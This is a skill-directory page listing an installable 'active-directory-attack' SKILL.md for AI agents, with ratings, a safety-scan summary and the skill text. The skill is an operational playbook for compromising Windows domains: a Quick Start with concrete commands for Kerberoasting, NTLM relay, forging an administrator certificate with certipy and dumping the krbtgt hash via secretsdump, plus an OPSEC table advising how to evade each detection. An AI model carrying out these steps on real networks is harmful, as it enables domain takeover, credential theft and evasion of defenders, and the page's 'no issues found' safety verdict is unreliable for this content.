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active-directory-attack

Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance

Install / Use

npx skills add hypnguyen1209/offensive-claude --skill active-directory-attack

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

86/100

Category

Security

Supported Platforms

Universal

Tags

Our assessment of active-directory-attack

active-directory-attack scores 86/100 on our quality scale, 711th of 1,096 Security skills we index.

Its SKILL.md is 8.9 KB long, well organised into 14 sections with 1 code example: a thorough specification that gives an agent plenty to work with.

It has 377 GitHub stars, a meaningful sign that others use it.

Substance
29/30
Structure
17/20
Description
15/15
Adoption
11/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 14 days ago, so active-directory-attack is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.

Automated pattern scan on 2026-10-05. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

active-directory-attack compared with similar skills

All 4 of these similar skills score higher than active-directory-attack; compare them before choosing.

SkillScoreStarsUpdatedFormat
active-directory-attack (this skill)by hypnguyen12098637714d agoSKILL.md
algorithmic-artby anthropics100177.9k12d agoSKILL.md
pptxby anthropics100177.9k12d agoSKILL.md
designby nextlevelbuilder100130.2k13d agoSKILL.md
ui-ux-pro-maxby nextlevelbuilder100130.2k13d agoSKILL.md

Frequently asked questions

How do I install active-directory-attack?
Run npx skills add hypnguyen1209/offensive-claude --skill active-directory-attack. The install tabs above show the steps for each supported agent.
Which AI agents does active-directory-attack work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is active-directory-attack safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is active-directory-attack still maintained?
The repository was last updated 14 days ago, so active-directory-attack is actively maintained.

name: active-directory-attack description: Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance metadata: type: offensive phase: exploitation tools: impacket, certipy, rubeus, bloodhound-ce, netexec, krbrelayx, ntlmrelayx, bloodyAD, mimikatz, kerbrute, SharpSuccessor mitre: TA0008 kill_chain: phase: [exploit, actions] step: [4, 7] attck_tactics: [TA0006, TA0008, TA0004, TA0003] attck_techniques: [T1558, T1558.003, T1558.004, T1558.001, T1187, T1557, T1557.001, T1003.006, T1550.002, T1550.003, T1484.001, T1098, T1207] depends_on: [network-attack, privesc-windows] feeds_into: [red-team-ops, advanced-redteam] inputs: [domain_info, user_context, foothold_creds] outputs: [domain_admin_access, finding_record, credential_dump, forged_tickets] references:

  • references/bloodhound-enum-lateral.md
  • references/kerberos-roasting-delegation.md
  • references/coercion-relay.md
  • references/adcs-abuse.md
  • references/ticket-forgery-dcsync.md
  • references/dmsa-badsuccessor.md scripts:
  • scripts/ad_recon.py
  • scripts/kerberoast_audit.py
  • scripts/rbcd_takeover.py
  • scripts/coerce_relay_chain.sh
  • scripts/Get-BadSuccessorOUPermissions.ps1
  • scripts/adcs_esc_finder.py

Active Directory Attacks

When to Activate

  • Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position)
  • Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery
  • Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073)
  • ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover
  • dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains
  • BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence

Technique Map

| Technique | ATT&CK | CWE | Reference | Script | |-----------|--------|-----|-----------|--------| | BloodHound CE / SharpHound enumeration | T1482 | CWE-732 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py | | Password spray / PtH / PtT lateral movement | T1550.002, T1550.003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py | | LAPS / gMSA password read | T1003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py | | Kerberoasting | T1558.003 | CWE-261 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py | | AS-REP roasting | T1558.004 | CWE-308 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py | | Resource-Based Constrained Delegation (RBCD) | T1558, T1098 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py | | Constrained/Unconstrained delegation (S4U) | T1558 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py | | Coercion (PetitPotam/DFSCoerce/PrinterBug/WebDAV) | T1187 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | | NTLM relay (SMB/LDAP/ADCS) | T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | | NTLM reflection (CVE-2025-33073) | T1187, T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | | Kerberos relay / DNS CNAME (CVE-2026-20929) | T1557 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | | ADCS ESC1 (SAN) / ESC15 EKUwu (CVE-2024-49019) | T1649 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py | | ADCS ESC8 relay / ESC16 CA-wide override | T1649, T1557.001 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py | | Golden / Silver / Diamond / Sapphire ticket | T1558.001, T1558.002 | CWE-345 | references/ticket-forgery-dcsync.md | - | | DCSync (DRSUAPI replication) | T1003.006 | CWE-269 | references/ticket-forgery-dcsync.md | - | | noPac / sAMAccountName spoofing (CVE-2021-42278/87) | T1558 | CWE-287 | references/ticket-forgery-dcsync.md | - | | dMSA BadSuccessor (CVE-2025-53779) | T1098, T1558 | CWE-269 | references/dmsa-badsuccessor.md | scripts/Get-BadSuccessorOUPermissions.ps1 |

Quick Start

# 0. Sync clock to DC (Kerberos needs +/-5 min)
sudo ntpdate <DC_IP>   # or: faketime "$(net time -S <DC>)" <cmd>

# 1. Enumerate: BloodHound CE collection (Linux) + own the graph
bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip
#   (use the bloodhound-ce branch; legacy collectors break CE ingest)
nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP>

# 2. Cheap wins on the graph: roast everything visible
python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast

# 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if signing/EPA weak
bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap

# 4. ADCS path: find ESC1-16 and grab a DA cert
python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP>
certipy req -u user@corp.local -p 'Pass' -ca CA -template Vuln -upn administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>          # -> NT hash / TGT

# 5. Windows Server 2025 present? Check BadSuccessor exposure
powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps1

# 6. Domain dominance: DCSync krbtgt -> Golden ticket / persistence
impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP>

OPSEC & Detection (summary)

| Technique | Telemetry / IOC | Detection (Sigma / EDR) | OPSEC note | |-----------|-----------------|--------------------------|------------| | SharpHound/LDAP enum | Hundreds of LDAP queries from one host; 4662 directory access | SIEM rule: single source > N LDAP queries/minute; ADWS 9389 spikes | Throttle --throttle/--jitter; prefer ADWS (SOAPHound) to dodge LDAP heuristics | | Kerberoasting | 4769 TGS-REQ with RC4 (0x17) for many SPNs from one host | Sigma win_security_susp_kerberos_manipulation; alert on RC4 TGS bursts | Request AES-only SPNs sparingly; /rc4opsec; roast few accounts, slow | | AS-REP roasting | 4768 AS-REQ no-preauth; etype 23 | Alert on AS-REQ for DONT_REQ_PREAUTH accounts | Only target accounts BloodHound flags; offline crack | | Coercion | EFSRPC/DFSNM/RPRN named-pipe calls; auth from server to odd host | Sigma coercion/PetitPotam; RPC firewall (RpcFilter) logs | Coercion is "by design"; NTLM removal on 2025/24H2 forces Kerberos fallback | | NTLM relay / reflection | 4624/4648 NTLM logon to self; SMB→LDAP from non-server | Detect SMB-signing:False targets; CVE-2025-33073 DNS marshalled record | Needs signing:False target; patch (Jun 2025) detects marshalled DNS struct | | ADCS ESC | 4886/4887 cert issuance; cert with arbitrary SAN/UPN; client-auth EKU on web template | Sigma ADCS issuance anomalies; certutil monitoring; ESC15 EKU injection | Restore templates (ESC4); EPA on certsrv breaks ESC8 relay | | Ticket forgery | TGT lifetime anomalies; PAC w/o validation; 4769 for krbtgt SPN | Golden: ticket lifetime > policy; Sapphire mimics real PAC (hard) | Match domain ticket policy lifetimes; use AES keys not RC4 | | DCSync | 4662 DRSUAPI GetNCChanges from non-DC | Sigma dcsync; alert DRSUAPI replication from non-DC IP | Run from a host that looks like a DC; avoid /all, target krbtgt only | | dMSA BadSuccessor | 5137 dMSA create; 5136 write to msDS-ManagedAccountPrecededByLink | Sigma SharpSuccessor exec; SACL on dMSA attrs (off by default!) | Patched (Aug 2025) needs both sides controlled; still a creds-dump primitive |

Deep Dives

  • references/bloodhound-enum-lateral.md — BloodHound CE v8 / OpenGraph, SharpHound CE & bloodhound-ce collectors, NetExec, high-value Cypher, password spray, PtH/PtT/OverPtH, LAPS v1/v2 + gMSA reads, AdminSDHolder/DSRM/Skeleton-Key persistence.
  • references/kerberos-roasting-delegation.md — Kerberoasting (incl. targeted/GenericWrite), AS-REP roasting, RBCD, constrained/unconstrained delegation, S4U2self/S4U2proxy abuse, tgt::deleg, hashcat modes.
  • references/coercion-relay.md — All five coercion methods + WebDAV/efsr_spray, NTLM relay to SMB/LDAP/ADCS, NTLM reflection (CVE-2025-33073), Kerberos relay & DNS CNAME (CVE-2026-20929), shadow-credential relay.
  • references/adcs-abuse.md — ESC1-ESC16 catalog with Certipy v5, EKUwu/ESC15 (CVE-2024-49019), ESC16 CA-wide override, ESC8 relay, ESC9/ESC10 mapping bypass, certificate persistence.
  • references/ticket-forgery-dcsync.md — Golden/Silver/Diamond/Sapphire tickets, DCSync, noPac (CVE-2021-42278/87), PAC validation enforcement (CVE-2024-26248/29056), trust/SID-history & cross-forest.
  • references/dmsa-badsuccessor.md — dMSA migration internals, BadSuccessor (CVE-2025-53779), pre/post-patch behavior, SharpSuccessor / bloodyAD / NetExec tooling, detection.

Related Skills

View on GitHub
GitHub Stars377
CategorySecurity
Updated14d ago
Forks65

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions